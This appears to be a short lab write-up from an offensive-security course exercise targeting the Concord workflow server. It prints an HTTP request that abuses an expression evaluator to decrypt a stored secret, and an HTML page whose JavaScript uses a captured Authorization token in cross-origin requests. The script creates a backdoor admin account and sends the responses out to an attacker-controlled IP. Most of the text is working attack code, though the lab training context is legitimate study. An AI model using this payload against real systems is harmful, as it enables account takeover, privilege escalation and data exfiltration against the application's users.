12.3 (P)

R3zk0n · October 2, 2025

Contents

    12.3

    Since the Authorization header is allowed in the CORS requests, we would be able to send authenticated requests through a user’s browser if we don’t have network access to the application. Return to the old version of Concord and create a CORS payload using the Authorization header and the credentials we’ve discovered. This payload should create a new Admin user, generate a new API key as a back door, and obtain a shell.

    POST /api/v1/process HTTP/1.1
    Host: 192.168.148.132:8001
    User-Agent: curl/7.79.1
    Accept: */*
    Authorization: O+JMYwBsU797EKtlRQYu+Q
    Content-Length: 588
    Content-Type: multipart/form-data; boundary=------------------------431ad33156e455b6
    Connection: close
    
    --------------------------431ad33156e455b6
    
    Content-Disposition: form-data; name="org"
    
    OffSec
    --------------------------431ad33156e455b6
    
    Content-Disposition: form-data; name="project"
    
    AWAE
    --------------------------431ad33156e455b6
    Content-Disposition: form-data; name="concord.yml"; filename="concord.yml"
    Content-Type: application/octet-stream
    flows:
      default:
      - log: "Secret Key: ${name}"
    
    configuration:
      arguments:
        name: ${crypto.decryptString("vyblrnt+hP8GNVOfSl9WXgGcQZceBhOmcyhQ0alyX6Rs5ozQbEvChU9K7FWSe7cf")}
    --------------------------431ad33156e455b6--
    

    Result: Secret Key: Džemujem ja stalno ali nemam džema

    <html>
    	<head>
    		<script>
                fetch("http://192.168.148.132:8001/api/service/console/whoami", {
                    headers: new Headers({
                    'Authorization': 'O+JMYwBsU797EKtlRQYu+Q', 
                        }), 
                })
                .then(async (response) => {
                    if(response.status != 401){ // if response is not 401, data is sent back
                        let data = await response.text();
                        fetch("http://192.168.119.148/?msg=" + data )
                        create_user();
                    }else{
                        fetch("http://192.168.119.148/?msg=UserNotLoggedIn" ) // otherwise return unauthenticated
                    }
                })
    
                function create_user() {
                    var payload = {
                        "username": "HackedUser",
                        "type": "LOCAL",
                        "roles": ["concordAdmin"]
                    };
    
                    fetch("http://192.168.148.132:8001/api/v1/user", {
                        method: "POST",
                        headers: new Headers({
                        'Authorization': 'O+JMYwBsU797EKtlRQYu+Q', 
                        'Content-Type': 'application/json',
                        }), 
                        body: JSON.stringify(payload),
                    })
                    .then(async (response) => {
                        if (response.status != 401) {
                            let responseData = await response.text();
                            fetch("http://192.168.119.148/?msg=" + responseData )
                        } else if (response.status == 403) {
                            fetch("http://192.168.119.148/?msg=OnlyAdminsCanDoThat")
                        } else {
                            fetch("http://192.168.119.148/?msg=UserNotLoggedIn" ) // otherwise return unauthenticated
                        }
                    })
                }
    		</script>
    	</head>
    	<body>
    	</body>
    </html>
    

    Twitter, Facebook